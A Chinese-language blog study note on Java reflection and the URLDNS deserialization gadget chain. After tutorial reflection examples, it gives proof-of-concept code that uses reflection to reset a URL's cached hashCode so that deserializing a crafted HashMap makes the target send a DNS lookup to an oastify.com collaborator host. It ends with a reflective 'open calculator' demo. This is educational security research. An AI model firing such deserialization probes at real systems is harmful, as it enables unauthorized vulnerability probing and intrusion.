Java反序列化基础2——java反射+URLDNS链

Java反序列化基础2——java反射+URLDNS链

参考文章

谈谈Java反射:从入门到实践,再到原理

Java反序列化基础篇-02-Java反射与URLDNS链分析

Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

在前一篇文章中我们已经已经总结了java反序列化的分析思路并且简单分析了URLDNS链,但由于缺乏java反射的知识,最后的poc还没有搞出来

继承Serializable
入口类source:(重写readObject 调用常见的函数 参数类型宽泛 最好jdk自带)例如Map类
调用链 gadget chain 相同名称,相同类型
执行类sink (rce ssrf文件等等)最重要 比如exec这种函数

反射理解

Java的反射机制是指再运行状态中,对于任意一个类都能够知道这个类所有的属性和方法;并且对于任意一个对象,都能够调用它的任意一个方法;这种动态获取信息以及动态调用对象方法的功能称为Java语言的反射机制。

看一下代码

正射:

我们在编写代码时,当需要使用到某一个类的时候,都会先了解这个类是做什么的。然后实例化这个类,接着用实例化好的对象进行操作,这就是正射。

Student student = new Student();
student.doHomework("数学");

反射:

反射就是,一开始并不知道我们要初始化的类对象是什么,自然也无法使用 new 关键字来创建对象了

 Class clazz = Class.forName("reflection.Student");
 Method method = clazz.getMethod("doHomework", String.class);
 Constructor constructor = clazz.getConstructor();
 Object object = constructor.newInstance();
 method.invoke(object, "语文");

以上两段代码,执行效果是一样的。

但是,其实实现的过程还是有很大的差别的:

  • 第一段代码在未运行前就已经知道了要运行的类是Student
  • 第二段代码则是到整个程序运行的时候,从字符串reflection.Student,才知道要操作的类是Student

总结:

反射就是在运行时才知道要操作的类是什么,并且可以在运行时获取类的完整构造,并调用对应的方法。

java反射的作用是什么?

给作为静态语言的java赋予动态特性,比如说:改变已有对象的属性,动态生成对象,动态调用方法,操作内部类和私用方法。

Java Class对象理解

首先** RTTI(Run-Time Type Identification)**运行时类型识别,其作用是在运行时识别一个对象的类型和类的信息。

Java是如何让我们在运行时识别对象和类的信息的?

主要有两种方式:

  • 传统的RRTI,它假定我们在编译时已经知道了所有类型
  • 反射机制,它允许我们在运行时发现和使用类的信息

我们程序在运行的时候会编译生成一个 .class 文件,而这个 .class 文件中的内容就是相对应的类的所有信息

Java反射使用方法

  • 获取类:forName
  • 实例化类对象:newInstance
  • 获取函数:getMethod
  • 执行函数:invoke

java反射就是操作Class

实例化对象

先有它的原型再调用它的方法

获取class对象

1754855681231-2f064092-9581-46cb-9b1b-38a60031bb61.png

获取方式 示例 特点
对象.getClass() person.getClass() 获取对象运行时类型(考虑继承和多态)
类名.class Person.class 获取编译时类型,不触发类加载
Class.forName() Class.forName(“Person”) 通过全限定名获取,会触发类加载

使用Constructor.newInstance实例化对象

有参构造

Class c=person.getClass();
Constructor personconstructor= c.getConstructor(String.class,int.class);
Person p=(Person) personconstructor.newInstance("abc",22);

1754855055159-8a370668-daba-457f-bdd0-a0f290afcbf1.png

无参构造

Class<?> clazz = Class.forName("com.example.MyClass");
Constructor<?> constructor = clazz.getConstructor();
Object instance = constructor.newInstance();

获取类里面属性(Field)

获取成员变量Field位于 java.lang.reflect.Field 包中

  • Field[] getFields() :获取所有 public 修饰的成员变量
  • Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符
  • Field getField(String name) 获取指定名称的 public 修饰的成员变量
  • Field getDeclaredField(String name) 获取指定的成员变量

1754856393698-77318f39-2ce5-462c-a423-b2f84fd13832.png

调用类里面的方法

第一个参数是传参,第二个参数是确定重载的是哪个函数

Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型

Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

1754856745040-4174cfe8-60f0-4758-a9c2-cf90fe9b9dfb.png

1754856984472-dde6c01b-74f2-439a-a5c9-0ffd79dc2ea1.png

完整示例

package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class TestReflection {
    public static  void main(String args[]) throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException {
        Person person=new Person();
        Class c=person.getClass();
        //反射就是操作Class
        //从原型class中实例化对象
        //c.newInstance();
        Constructor personconstructor= c.getConstructor(String.class,int.class);
        Person p=(Person) personconstructor.newInstance("abc",22);
        System.out.println(p);


        //获取类里面属性
        Field[] personfields=c.getFields();
        for(Field f:personfields){
            System.out.println(f);
        }
        //调用类里面的方法
//        Method[] personmehods=c.getMethods();
//        for (Method m:personmehods){
//            System.out.println(m);
//        }

        Method actionmethod=c.getMethod("action",String.class);
        actionmethod.invoke(p,"dasgjfasgh");

    }
}

URLDNS链

先 回顾一下上次留下的问题

 public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap=new HashMap<URL,Integer>();
     //这里不要发送请求   
     hashmap.put(new URL("http://7v3spzdbjo1uiz4h1b0013qufllb90.oastify.com"),1);
     //这里要把hashcode改回-1   
     //通过反射改变一个已有对象的属性
     HashMap a=new HashMap<>();
        //System.out.println(person);
        serialize(hashmap);
    }

这里的问题是再序列化的过程中由于使用了hashmap.put这个方法会调用hashcode触发dns,并且会改变hashcode的值,使其不为-1,从而让反序列时不能输出dns

1754848559079-bc7a13de-ade1-42b0-a903-8ac99186a575.png

public static void main(String[] args) throws Exception{
        Person person = new Person("aa",22);
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://8dmp5g4lqv4ojwh0g0cesf8sijoacz.oastify.com");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
    }

利用反射弹计算器


public class ReflectCalculator {
    public static void main(String[] args) throws Exception {
        // 获取Desktop类的getDesktop方法
        Method getDesktop = Class.forName("java.awt.Desktop")
                .getMethod("getDesktop");
        // 调用静态方法获取Desktop实例
        Object desktop = getDesktop.invoke(null);
        // 获取browse方法并调用打开计算器
        desktop.getClass()
                .getMethod("browse", java.net.URI.class)
                .invoke(desktop, new java.net.URI("calc"));
    }
}

1754858844868-253604ce-1444-480e-9566-d3b5f91f240b.png

更新: 2025-08-11 04:47:27
原文: https://www.yuque.com/cindahy/ukztx0/xv4vnq1fe7gmc6y1

评论